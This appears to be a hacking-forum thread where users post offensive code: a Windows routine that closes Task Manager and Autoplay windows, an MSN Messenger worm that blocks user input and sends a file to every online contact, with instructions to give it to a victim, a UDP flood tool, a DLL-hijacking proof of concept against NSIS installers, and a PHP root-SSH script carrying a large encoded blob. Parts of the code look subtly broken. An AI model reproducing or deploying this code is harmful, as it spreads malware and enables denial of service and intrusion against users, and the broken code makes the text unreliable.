    // Windows Media Player may popup. Rarely happens, but had this once at a school computer.
    WMP = FindWindow(NULL,L"Windows Media Player");
    // The Removable Disk part of the U3 Drive can open automatically.
    Disk1 = FindWindow(NULL,L"(D:) Removable Disk");
    Disk2 = FindWindow(NULL,L"(E:) Removable Disk");
    Disk3 = FindWindow(NULL,L"(F:) Removable Disk");
    Disk4 = FindWindow(NULL,L"(G:) Removable Disk");
    // Autoplay
    Autoplay = FindWindow(NULL,L"Autoplay");
    // Errors caused by our VBScript go.vbs
    VBS = FindWindow(NULL,L"Windows Script Host");
    if( TaskMgr != NULL) {
    SetWindowText( TaskMgr,L"DIE!!!! =O");
    Sleep(500);
    PostMessage( TaskMgr, WM_CLOSE, (LPARAM)0, (WPARAM)0);
    }
    if( SysError != NULL) {
    PostMessage( SysError, WM_CLOSE, (LPARAM)0, (WPARAM)0);
    }
    if( WMP != NULL) {
    Sleep(1000);
    PostMessage( WMP, WM_CLOSE, (LPARAM)0, (WPARAM)0);
    }
    if( Disk1 != NULL) {
    PostMessage( Disk1, WM_CLOSE, (LPARAM)0, (WPARAM)0);
    }
    if( Disk2 != NULL) {
    PostMessage( Disk2, WM_CLOSE, (LPARAM)0, (WPARAM)0);
    }
    if( Disk3 != NULL) {
    PostMessage( Disk3, WM_CLOSE, (LPARAM)0, (WPARAM)0);
    }
    if( Disk4 != NULL) {
    PostMessage( Disk4, WM_CLOSE, (LPARAM)0, (WPARAM)0);
    }
    if( Autoplay != NULL) {
    PostMessage( Autoplay, WM_CLOSE, (LPARAM)0, (WPARAM)0);
    }
    if( VBS != NULL) {
    PostMessage( VBS, WM_CLOSE, (LPARAM)0, (WPARAM)0);
    }
    Sleep(500);
    }
    }
    
    //
    // Here we start with our commands. Option1, Option2, Option3, etc.
    // Don't forget to also define and create a process for these Options if you want to create more.
    // Have Fun =D
    //
    
    DWORD WINAPI Option1(LPVOID) { // 1
    return 0;
    }
    
    DWORD WINAPI Option2(LPVOID) { // 2
    return 0;
    }
    
    DWORD WINAPI Option3(LPVOID) { // 3
    return 0;
    }
    
    DWORD WINAPI Option4(LPVOID) { // 4
    return 0;
    }
    
    DWORD WINAPI Option5(LPVOID) { // 5
    return 0;
    }

     

    • Upvote 1
  7. #include <Windows.h> // We include the windows header library since we are working with winapi
    
    #ifdef _WIN32_WINNT & 0x0403
    #pragma comment(linker, "/ALIGN:4096") // Win2k8+ likes to limit buffers to 2048-bit array
    #pragma warning(disable : 4106) // This error tends to come up alot, let's just ignore it
    #define WIN32_LEAN_AND_MEAN // Shouldn't this be a standard by now?
    #endif
    
    /*
    We must always prototype the functions that we will use in
    our program prior to defining them so the compiler wil know
    what to expect when reading code. Good programming practice
    */
    
    int MSN_StartFileSpread(LPSTR spread_file, LPSTR spread_msg);
    BOOL MSN_CopyDataToCB(LPSTR cb_data, HWND hwnd);
    BOOL MSN_CopyFiletoCB(LPSTR cb_data, HWND hwnd);
    int MSN_CloseActiveWindow();
    
    // #import "../xxx/path/to/tlb/file" NOTE BELOW
    
    /*
    This should be the path to the msn messenger API class
    note it's a .tlb file -- I have another function which
    gets the base file path then afterwords you would just
    import it, but I'm sure it won't be too hard to make a
    function for this since it's like the only .tlb file
    in the MSN folder lul -> Just GetModuleFileName() it
    */
    
    BOOL MSN_CopyDataToCB(LPSTR cb_data, HWND hwnd)
    {
    HGLOBAL hGlobal;
    LPVOID lpData;
    
    if (OpenClipboard(hwnd) <= 0) return FALSE; // if we cannot open clip-board then exit ()
    
    EmptyClipboard(); // empty the data inside the clipboard so we can put new data in
    
    hGlobal = GlobalAlloc(GMEM_DDESHARE|GMEM_MOVEABLE,strlen(cb_data)+1); // reserve null bytes + alloc
    hGlobal = GlobalLock(lpData); // so it blocks further data to be inserted into this c/b by the user
    strcpy((LPSTR)lpData, cb_data); // Copy the clip_board data passed by param(1) to allocated grid
    
    GlobalUnlock(hGlobal); // allow user to use data now since we cleared previous space with our data
    SetClipboardData(CF_TEXT, lpData); // let the computer known that standard text is passed to c/b
    // other standards include CF_ANSI and CF_UNICODE, POSIX std
    CloseClipboard() ; // close clipboard just like we would a socket since its no longer in use
    GlobalFree(lpData); // and of course clear the string data of original param for re-use
    // this is just in case we want to use function again we wont have
    // the old string data inside the clipboard if we want to add new
    return ERROR_SUCCESS; // Notify the compiler, if it got to here, feed it 1 bit, good job!
    }
    
    /*
    * This is fun, and you'll see it a lot in my programs
    * I only include headers where needed. Here I include
    * shlobj.h so I can use the DROPFILES Union Structure
    * It allows me to link an filename to virtual memory
    * directly without the need to allocate memory space
    
    * Also note, just because the include is all the way
    * out here doesn't mean it's not the preprocessor any
    * more. The way MASM interprets x86 binary files is it
    * would scan the file for pre-definte values before
    * scanning for virtual includes (#def, #ifdef). After
    * that is complete, it would look for the typecasts and
    * namespace defintions, then functions prototypes, then
    * finally it reads the code within your function header
    */
    #include <shlobj.h>
    
    BOOL MSN_CopyFiletoCB(LPSTR cb_data, HWND hwnd)
    {
    char InfectedFile[MAX_PATH]; // MAX_PATH = 256 characters just windows standard
    int InfFileSize = NULL; // sizeof dropped object + data file, and its good to initialize always
    HANDLE hdData;
    LPDROPFILES lpDP;
    LPBYTE lpbData;
    
    memset(InfectedFile, 0, sizeof InfectedFile); // set 0 bytes of data to InfectedFilePath
    strcpy(InfectedFile, cb_data); // Copy file path passed from param(1) to InfectedFile
    
    if (OpenClipboard(hwnd) == FALSE) return FALSE; // again check if we can open clipboard if not exit
    
    EmptyClipboard();
    InfFileSize = sizeof DROPFILES + sizeof InfectedFile; // set the file size accordingly
    hdData = GlobalAlloc(GHND, InfFileSize); // The filesize is set GMEM_MOVEABLE | GMEM_ZEROPOINT
    lpDP = (LPDROPFILES)::GlobalLock (hdData); // We need to use data value, dont allow interaction
    lpDP->pFiles = sizeof DROPFILES;
    lpDP->fWide = FALSE;
    lpbData = (LPBYTE)lpDP + sizeof DROPFILES; // lpDP is the denoted drop file structure add to data
    
    CopyMemory (lpbData, InfectedFile, sizeof InfectedFile); // Copy our data to the infected file
    // by providing it a size == to sizeof(infectedfile)
    GlobalUnlock (hdData); // Okay, we're done with the data set, we can now use it
    SetClipboardData (CF_HDROP, hdData); // Finally set the clipboard data associated it with file
    CloseClipboard (); // close the clipboard since we are no longer using it
    return ERROR_SUCCESS; // return 0x1, this is satisfaction for our compiler
    }
    
    int MSN_CloseActiveWindow()
    {
    HWND msn = NULL; // initiate it or compiler complains
    for (int i=0; // initialize 'i' variable in the loop
    (msn = FindWindow // declaring header window handler to FindWindow API hook
    (TEXT("IMWindowClass"), // We are looking for an active window called 'IMWindowClass'
    NULL)) != NULL; i++) // keep going until we find it, there should only be two active
    {
    SendMessage(msn,WM_CLOSE,(LPARAM)0,(WPARAM)0); // once the window is found, close it
    }
    return EXIT_SUCCESS; // exit, same as earlier, except different circumstance, same value though
    }
    
    int MSN_StartFileSpread(LPSTR spread_file, LPSTR spread_msg)
    {
    LONG IMW;
    BSTR cname;
    long ICS, i;
    HRESULT res;
    VARIANT vtu;
    MISTATUS mIS;
    int counter = NULL;
    
    IMSNMessenger3* imsnCall = NULL;
    IDispatch* getID = NULL;
    IDispatch* dPCS = NULL;
    IDispatch* dPC = NULL;
    IMSNMessengerContacts* pIMCS = NULL;
    IMSNMessengerContact* pIMC = NULL;
    IMSNMessengerWindow* pIMW = NULL;
    
    CoInitialize(0); // Call the Init thread from MSN header lib
    
    res = CoCreateInstance(SID_MSGPT, // Create a passive thread
    NULL, CLSCTX_ALL, RID_MSNQUERY, // to look for online users
    (void*)&imsnCall); // in the victims friends list and save
    
    if (FAILED(res)) return -1; // if msn query fails (i.e. no users are online) then exit file spread
    
    imsnCall->get_MyContacts(&dPCS); // Compose list of online contants into list denoted by dPCS
    
    res = dPCS->QueryInterface
    (__uuidof(pIMCS),
    (LPVOID*)&pIMCS);
    
    if (FAILED(res)) return -1; // If list confirmation query fails and list is not found exit
    
    res = pIMCS->get_Count(&ICS); // get number of contacts in the online list
    if (FAILED(res)) return -1; // if we failed to get number of contacts, the exit
    
    BlockInput(true); // This is a fun switch that blocks input from the user (keyboard+mouse)
    for (i = 0; i < ICS; i++) // perform a for loop going through ICS (each person in contact list)
    {
    getID = NULL; // victim id = 0
    res = pIMCS->raw_Item(i, &dPCS); // load contact list into current input frame (dPCS)
    if (FAILED(res)) continue; // if it fails, we don't really care, it works anyways
    
    res = dPC->QueryInterface(__uuidof(pIMC),(LPVOID*)&pIMC); // input frame focus on current user
    if (SUCCEEDED(res)) // if the input frame is set then perform loop to load file
    {
    res = pIMC->get_Status(&mIS); // is the user online or offline when we message them?
    
    if (FAILED(res) || mIS == MISTATUS_OFFLINE) // if we cant get status or user offline->exit
    {
    pIMC->Release(); // clear current contact list
    dPC->Release(); // refresh and try again
    continue; // we can move on to next query (flag 1), 1 more and worm will exit
    }
    
    pIMC->get_SigninName(&cname); // the following line inherits this function
    VariantInit(&vtu); // create a new thread to check for users active in chat
    
    res = imsnCall->raw_InstantMessage(vtu,&getID); // check if contact is blocked or not
    if (FAILED(res)) // if the contact is blocked which is denoted by a -1 (FAILED)
    {
    pIMC->Release(); // clear contact list
    dPC->Release(); // refresh and try again
    continue; // even if it is blocked, we can move on (flag 2), worm spreader now exits
    } // if both flags were marked then something is wrong (anti-debug) possible analysis
    
    res = getID->QueryInterface(RID_MSNMSG_Window, (void*)&pIMW); // Open chat with our victim
    if (SUCCEEDED(res)) // If it successed then continue, if not, well, no point then... quit
    {
    pIMW->get_HWND(&IMW); // Gets current state of the window (error checking is it active?)
    SetForegroundWindow((HWND) IMW); // if not active (passed from previous call) now it is
    SetFocus((HWND) IMW); // Set the mouse focus on the chat box inside the current window
    ShowWindow((HWND) IMW, 0); // Open window in physical memory, now we interact with it
    
    if (MSN_CopyDataToCB(spread_msg,(HWND)IMW)&0x1) // &0x1 checks if function executes
    {// Now that we opened a chat session we can send our payload (message in this case)
    keybd_event(VK_CONTROL,NULL,KEYEVENTF_EXTENDEDKEY,NULL); // Press and hold ctrl
    keybd_event(VkKeyScan('V'),NULL,NULL,NULL);// Look for the 'v' key
    keybd_event(VK_CONTROL,0xFF45,KEYEVENTF_EXTENDEDKEY,NULL); // Insert our data
    keybd_event(VK_RETURN,NULL,NULL,NULL); // hit the enter key
    }// these keyboard events will paste the data pased from "spreadmessage" into chat
    
    if (MSN_CopyFiletoCB(spread_file,(HWND)IMW)&0x1) // same routine, in this case it
    { // it loads a file to the chat session (file upload) no need for RETURN key
    keybd_event(VK_CONTROL,NULL,KEYEVENTF_EXTENDEDKEY,NULL);
    keybd_event(VkKeyScan('V'),NULL,NULL,NULL);
    keybd_event(VK_CONTROL,0xFF45,KEYEVENTF_EXTENDEDKEY,NULL);
    }// The function class already processes the file upload routine as defined previously
    counter++; // +1 successfull payload sent, increase return bits for the end
    }
    pIMC->Release(); // clear the contact list
    dPC->Release(); // refresh and try again
    }// unless the current contact list buffer is at the max (for-loop is finished)
    }
    
    imsnCall->Release(); // clear the composed contact list, refresh active buffer
    BlockInput(false); // the victim can now interact with his computer once again
    pIMCS->Release(); // clear the value of number of contacts in victims list
    dPCS->Release() ; // clear all remaining contact from virtual layer buffer
    CoUninitialize(); // Uninitialize the init call for the MSN messenger API
    // We now uninitialzed the API since our worm has finished its task
    return counter; // return the number of bits equal to victims queried
    }

    Instructions:

    You simply need to link the MSN API binary (as commented in the code), and compile it with MSVS2012 providing the following linker options:
    _CRT_SECURE_NO_WARNINGS
    _OPTIMIZE_GSY_SECURE
    _HEADER_NO_NODE_INC

    Then you give it to your victim. It's very quiet, and works nicely in the background without the victim's knowledge. The payload is only 7.6kb and includes 2 anti-debugging/anti-detect routines.

     

    CREDITS:

    BugTrack

    • Upvote 1
  8. #include <stdio.h>
    #include <sys/param.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <netdb.h>
    #include <stdarg.h>
    #define JENIS_PELURU "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
    #define UKURAN_PELURU 45
    
    int echo_connect(char *, short);
    int echo_connect(char *server, short port)
    {
    struct sockaddr_in sin;
    struct hostent *hp;
    int thesock;
    printf("\n");
    printf("l33nux..!!!! Tembaaaak %s ke port %d\n",
    server, port);
    hp = gethostbyname(server);
    if (hp==NULL) {
    printf("Di %s gak ada sasaran, Boss!!\n",server);
    printf("\n");
    exit(0);
    }
    bzero((char*) &sin, sizeof(sin));
    bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
    sin.sin_family = hp->h_addrtype;
    sin.sin_port = htons(port);
    sin.sin_family = hp->h_addrtype;
    sin.sin_port = htons(port);
    thesock = socket(AF_INET, SOCK_DGRAM, 0);
    connect(thesock,(struct sockaddr *) &sin, sizeof(sin));
    return thesock;
    }
    
    
    main(int argc, char **argv)
    {
    int s;
    if(argc != 3)
    {
    printf("\n");
    printf("Kirim Paket ke IP orang\n\n");
    printf("Cara Pake : $ tembak hostname.orang port \n\n");
    exit(0);
    }
    s=echo_connect(argv[1], atoi(argv[2]));
    for(;;)
    {
    send(s, JENIS_PELURU, UKURAN_PELURU, 0);
    }
    }

     

    • Downvote 3
  9. // dllmain.cpp : Defines the entry point for the DLL application.
    #include "stdafx.h"
    
    DWORD go(void);
    
    #define EX __declspec (dllexport)
    
    EX void __cdecl DllInstall() { go(); }
    EX void __cdecl DllRegisterServer() { go(); }
    EX void __cdecl DllUnregisterServer() { go(); }
    EX void __cdecl RunDLLW() { go(); }
    
    
    STARTUPINFOA si;
    PROCESS_INFORMATION pi;
    
    BOOL APIENTRY DllMain( HMODULE hModule,
                           DWORD  ul_reason_for_call,
                           LPVOID lpReserved
                         )
    {
    
        RtlSecureZeroMemory(&si, sizeof(STARTUPINFOA));
        RtlSecureZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
    
    
        switch (ul_reason_for_call)
        {
            
        case DLL_PROCESS_ATTACH:
            
            //    MessageBox(0, L"Hello", L"World", MB_OK);
            CreateProcessA("C:\\windows\\system32\\calc.exe", 0, 0, 0, 0, 0, 0, 0, &si, &pi);
    
    
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
        }
        return TRUE;
    }
    
    DWORD go(void) {
    
    
        //MessageBox(0, L"Hello", L"World", MB_OK);
    
        RtlSecureZeroMemory(&si, sizeof(STARTUPINFOA));
        RtlSecureZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
    
        CreateProcessA("C:\\windows\\system32\\calc.exe", 0, 0, 0, 0, 0, 0, 0, &si, &pi);
    
        ExitProcess(0);
        return 0;
    }

    1. Compile code to a DLL

    2. Put the DLL in the same folder as an old NSIS installer, double click the installer, accept the prompt for admin rights
    The dll gets loaded at the same time.

    One thing to remember when compiling this DLL. The entry point must point to DllMain();

  10. <?php
    
    $ssh_user = "root";
    $ssh_pass = "";
    $cmd_to_run = "";
    $ip_file = "ipshits.txt";
    
    // begin base64/gz blobs
    $biggaysshlib = "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